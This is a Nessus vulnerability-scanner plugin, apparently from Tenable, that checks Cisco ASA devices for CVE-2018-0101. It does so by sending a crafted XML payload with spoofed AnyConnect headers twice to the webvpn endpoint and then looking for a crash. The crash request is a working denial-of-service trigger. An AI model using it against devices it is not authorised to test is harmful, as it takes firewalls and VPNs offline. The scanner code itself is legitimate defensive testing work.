Cisco ASA Remote Code Execution and Denial of Service Vulnerability (cisco-sa-20180129-asa1) (destructive check)

#
# (C) Tenable Network Security, Inc.
#
#
include("compat.inc");

if (description)
{
  script_id(107004);
  script_version("1.6");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/09/28");

  script_cve_id("CVE-2018-0101");
  script_xref(name:"CISCO-BUG-ID", value:"CSCvg35618");
  script_xref(name:"CISCO-BUG-ID", value:"CSCvh79732");
  script_xref(name:"CISCO-BUG-ID", value:"CSCvh81737");
  script_xref(name:"CISCO-BUG-ID", value:"CSCvh81870");
  script_xref(name:"CISCO-SA", value:"cisco-sa-20180129-asa1");
  script_xref(name:"IAVA", value:"0001-A-0011-S");

  script_name(english:"Cisco ASA Remote Code Execution and Denial of Service Vulnerability (cisco-sa-20180129-asa1) (destructive check)");
  script_summary(english:"Attempts to crash a Cisco ASA device.");

  script_set_attribute(attribute:"synopsis", value:
"The remote device is missing a vendor-supplied security patch.");
  script_set_attribute(attribute:"description", value:
"The Cisco Adaptive Security Appliance (ASA) software running on the
remote device is affected by a remote code execution vulnerability
due to an issue with allocating and freeing memory when processing a
malicious XML payload. An unauthenticated, remote attacker can
exploit the issue to cause a reload of the affected system or to
remotely execute code.");
  # https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180129-asa1
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?118d2746");
  script_set_attribute(attribute:"solution", value:
"Upgrade to the relevant fixed version referenced in Cisco security
advisory cisco-sa-20180129-asa1.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2018-0101");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2018/01/29");
  script_set_attribute(attribute:"patch_publication_date", value:"2018/01/29");
  script_set_attribute(attribute:"plugin_publication_date", value:"2018/02/26");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:cisco:adaptive_security_appliance_software");
  script_set_attribute(attribute:"stig_severity", value:"I");
  script_end_attributes();

  script_category(ACT_KILL_HOST);
  script_family(english:"CISCO");

  script_copyright(english:"This script is Copyright (C) 2018-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("cisco_asa_ssl_vpn_detect.nasl");
  script_require_ports("Services/www", 443);
  script_require_keys("Services/cisco-ssl-vpn-svr");
  exit(0);
}

include("audit.inc");
include('global_settings.inc');
include('misc_func.inc');
include('http.inc');

port    = get_service(svc:"cisco-ssl-vpn-svr", exit_on_fail:TRUE);

data= '<?xml version="1.0" encoding="UTF-8"?>
<config-auth client="a" type="a" aggregate-auth-version="a">
    <host-scan-reply>A</host-scan-reply>
</config-auth>
';

headers['User-Agent'] = 'Open AnyConnect VPN Agent v7.08-265-gae481214-dirty';
headers['Content-Type'] = 'application/x-www-form-urlencoded';
headers['X-Aggregate-Auth'] = '1';
headers['X-Transcend-Version'] = '1';
headers['Accept-Encoding'] = 'identity';
headers['Accept'] = '*/*';
headers['X-AnyConnect-Platform'] = 'linux-64';
headers['X-Support-HTTP-Auth'] = 'false';
headers['X-Pad'] = '0000000000000000000000000000000000000000';

url = '/CSCOSSLC/config-auth';

for(i=0; i < 2; i++)
{
  http_send_recv3(
    method        : "POST",
    port          : port, 
    item          : url,
    add_headers   : headers,
    data          : data,
    exit_on_fail  :FALSE);

    sleep(1);
}

if(service_is_dead(port: port))
{
  extra = 
    'Nessus was able to detect the issue by sending the following request ' +
    'two times :\n\n' + http_last_sent_request();

  security_report_v4(
    port       : port,
    severity   : SECURITY_HOLE,
    extra      : extra
  );
  
}
# If we cannot crash the device, mark it inconclusive:
#
# - Seen: recoverable error on console; heap is messed up but the
#   device is not crashed. Sending more requests will eventually
#   crash the device.
# - The webvpn vector is fixed in a version (ie 9.2(4.25)) that does
#   not fix the IKEv2 vector (which is fixed in a later version).
#   This plugin specifically uses the webvpn vector, so it does not
#   crash 9.2.(4.25), which is still considered vulnerable because
#   the IKEv2 vector still exists until 9.2.(4.27).
#
else
{
  exit(0, 'Nessus cannot determine whether or not the remote ASA device is vulnerable.');
}